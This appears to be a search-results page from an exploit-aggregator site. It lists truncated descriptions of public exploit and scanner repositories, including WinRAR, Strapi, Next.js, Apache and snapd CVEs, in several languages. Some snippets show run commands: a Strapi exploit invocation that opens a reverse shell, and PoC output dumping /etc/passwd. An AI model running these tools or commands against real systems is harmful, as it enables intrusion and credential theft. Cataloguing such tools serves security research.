1303584 matches found
evil-winrar
eval-winrar evil-winrar、cve-2023-38831脆弱性悪用およびソーシャルエンジニアリング攻撃フレームワーク evil-winrar, csv-2023-38831 Vulnerability Exploitation and Social Engineering Attack Framework 紹介 evil-winrarは、winrar csv-2023-38831脆弱性悪用およびソーシャルエンジニアリング攻撃フレームワークで、exp生成、メール送信、ダウンロードリンク生成をサポートします。 ダウンロード root@kitploit: git clone...
CVE-2016-10033
このリポジトリには README がありません。...
OsirisJailbreak12
OsirisJailbreak12 iOS 12.0 - 12.1.2 不完全な脱獄ツール（CVE-2019-6225使用） 不完全なiOS 12脱獄ツールです。現時点では、エクスプロイトの実行、tfp0の取得、ROOT権限の取得、サンドボックスの脱出、サンドボックス脱出を証明するテストファイルの書き込み、そしてリブート（respring）までを行います。GPLv3ライセンスを尊重する限り、自由に拡張してください。 現時点では4Kデバイスはサポートされていません。A12およびその他の16Kデバイスはサポートされています。 開発者向け脱獄ツール！一般公開用ではありません デモ動画：...
owncloud-exploits
CVE-2023-49105 用 ownCloud エクスプロイト バグの詳細については、記事を参照してください。 教育目的のみで提供されています。...
WebPort-v1.19.1-Reflected-XSS
WebPort-v1.19.1-Reflected-XSS WebPort-v1.19.1 の Reflected XSS は、悪意を持って細工されたリンクやサードパーティの Web ページを開くユーザーに影響を与えます。 CVE-2019-12460 https://vulners.com/cve/CVE-2019-12460 PoC-1 脆弱性を悪用するには、'http://server:8090/access/setup?type=" リクエストを使用して、悪意を持って細工されたリンクやサードパーティの Web ページを開くユーザーに影響を与える可能性があります。...
Torito-R2S
Torito React2Shell 扫描器与利用工具 CVE-2025-55182 / 66478 面向 Next.js RSC 目标的检测优先扫描器，可选 PoC 确认与利用/Shell 模式。仅可用于你获授权测试的系统。 要求 Python 3.9+ pip install -r requirements.txt 用于 --subfinder 的 Subfinder 二进制文件需位于 PATH 中（可通过 Homebrew brew install subfinder 或 Go 安装：go install...
CVE-2019-0708-PoC-Hitting-Path
CVE-2019-0708-PoC-Hitting-Path 真的很糟糕，别评判这段代码哈哈哈（太烂了） 它只是命中 termdd.sys 中的漏洞路径！！！不是 DoS 仅在 Windows XP Sp3 x86 上测试过，Windows 7 可能需要协商部分，所以可能无法工作（我希望至少能运行） 也许对漏洞利用开发会有用...
CVE-2021-34730
Cisco RV110W UPnP 0day 分析 はじめに 最近UPnPが注目されており、ちょうど手元にCisco RV110Wがあります。2021年8月にCisco公式がCisco RVシリーズに関するUPnPの0dayを発表しましたが、具体的な詳細は公開されていませんでした。そこで、手元のデバイスを使ってこの脆弱性をデバッグ・調査することにしました。脆弱性の告知は公式サイトで確認できます。 準備...
CVE-2021-41773-PoC
CVE-2021-41773-PoC CVE-2021-41773에 대한 PoC로, docker를 사용하여 시연합니다. 실행 ./poc.sh를 실행하기만 하세요. docker와 docker-compose가 정상적으로 작동하는지 확인하십시오. root@kitploit: $ ./poc.sh Creating network "cve-2021-41773-pocdefault" with the default driver Creating cve-2021-41773-pocweb1 ... done root:x:0:0:root:/root:/bin/ba...
CVE-2020-3187
이 저장소에는 README가 없습니다...
CVE-2020-6418
此存储库没有 README。...
react2shell-exploit
🐺 React2Shell-Exploit-Kensei CVE-2025-55182 - Next.js RCE リモートコード実行 エクスプロイトフレームワーク＋脆弱性ラボ＋Burp Suite＆Nuclei 検証。 セキュリティ研究とペネトレーションテストのための完全なエクスプロイトフレームワークおよび脆弱性ラボ環境です。 root@kitploit: ╔═══════════════════════════════════════════════════════════════╗ ║ 🐺 React2Shell-Exploit-Kensei 🐺 ║ ║ CVE-2025-5518...
CVE-2020-1472
이 저장소에는 README가 없습니다...
safer-dependencies
Claude Code용 더 안전한 의존성 Claude와 같은 AI 코딩 어시스턴트가 프로젝트에 패키지를 추가할 때, 알려진 보안 취약점이 있는지, 패키지가 여전히 활발히 유지 관리되는지, 또는 이름이 악성 유사 패키지와 오타 하나 차이인지 확인하지 않고 그럴듯해 보이는 버전을 선택하는 경우가 많습니다. safer-dependencies는 Claude Code용 보안 계층입니다. Claude와 매니페스트 파일 사이에 위치하여 보안 검사를 자동으로 실행합니다. 취약한 설치가 실행되기 전에 차단되고, 매니페스트에 기록된 위험한 버전...
strapi_cms_3.0.0-beta.17.7
Strapi CMS CVE-2019-18818 および 19606 Strapi CMS バージョン 3.0.0-beta.17.7 以前における Blind Remote Code Execution でリバースシェルを取得 はじめに プログラムの実行 python3 を使用 root@kitploit: python3 strapiexp.py -t http://strapi.hack/ -e [email protected] -p newpassword -lhost 127.0.0.1 -lport 9001 ヘルプ ヘルププロンプト root@kitploit...
dirty_sock
dirtysock snapd（CVE-2019-7304）を介したローカル権限昇格 リマスタードPoCエクスプロイト クレジット: initstring 氏。オリジナル: dirtysock 使用方法 スクリプトを再実行する前に約40秒待ってください。待たないと失敗します。 root@kitploit: chmod u+x lpe.py ./lpe.py...
CVE-2024-9264
CVE-2024-9264 参考文档 https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264 1. 漏洞概要 项目| 内容 ---|--- CVE| CVE-2024-9264 目标| Grafana SQL Expressions 影响| 本地文件包含LFI、远程代码执行RCE 严重程度| 严重 CVSS 9.9 攻击条件| 经过身份验证的用户管理员权限 攻击方式| 滥用 SQL Expression 功能执行 DuckDB SQL Grafana...
CVE-2023-45857-Demo
axios の脆弱性 CVE-2023-45857 の動作を確認するデモ 1. dev container で起動する 2. app コンテナでnpm run devする 3. http://app.localhostへアクセスする 4. ブラウザの開発者ツールで Cookie にXSRF-TOKENがセットされていることを確認する 値がCREDENTIALTOKENとなっていること HttpOnly が false となっていること SameSite が Strict となっていること 5. ボタンを押す 6...
shellshock
shellshock Shelly は、Bash 環境における Shellshock（CVE-2014-6271 & CVE-2014-7169）の脆弱性を特定し軽減するために設計された、軽量で効率的な脆弱性スキャナーです。 インストール: リポジトリをクローン: git clone https://github.com/ajansha/shellshock.git ディレクトリに移動: cd shellshock ツールを実行: ./shelly.sh ライセンス: Shelly は MIT のもとで配布されています。 免責事項:...